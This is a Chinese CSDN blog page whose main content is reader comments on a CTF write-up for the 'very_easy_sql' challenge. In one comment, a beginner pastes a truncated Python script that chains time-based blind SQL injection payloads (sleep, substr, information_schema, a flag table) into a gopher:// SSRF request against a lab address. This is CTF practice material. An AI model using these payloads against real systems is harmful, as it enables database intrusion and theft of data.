自定义博客皮肤VIP专享

*博客头图：

点击选择上传的图片

格式为PNG、JPG，宽度*高度大于1920*100像素，不超过2MB，主视觉建议放在右侧，请参照线上博客头图

请上传大于1920*100像素的图片！

博客底图：

点击选择上传的图片

图片格式为PNG、JPG，不超过1MB，可上下左右平铺至整个背景

栏目图：

点击选择上传的图片

图片格式为PNG、JPG，图片宽度*高度为300*38像素，不超过0.5MB

主标题颜色：

RGB颜色，例如：#AFAFAF

Hover：

RGB颜色，例如：#AFAFAF

副标题颜色：

RGB颜色，例如：#AFAFAF

预览取消提交

自定义博客皮肤

weixin_48031371的博客

博客等级

码龄5年

关注

私信

攻防世界 -- very_easy_sql
yigecainiaoa: http://61.147.171.105:53185//use.php?url=‘’
攻防世界 -- very_easy_sql
海底月@: 看下第五行 IP对不
攻防世界 -- very_easy_sql
海底月@: 第五行URL看看？
攻防世界 -- very_easy_sql
yigecainiaoa: 我是小白，想问一下，为什么我最后用python跑脚本，跑不出来
攻防世界 -- very_easy_sql
yigecainiaoa: import urllib.parse import requests import time import base64 url="http://61.147.171.105:53185//use.php?url=" flag="" for pos in range(1,50): for i in range(33,127): #poc="') union select 1,2,if(1=1,sleep(5),1) # " #security #poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #flag #poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8") final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyou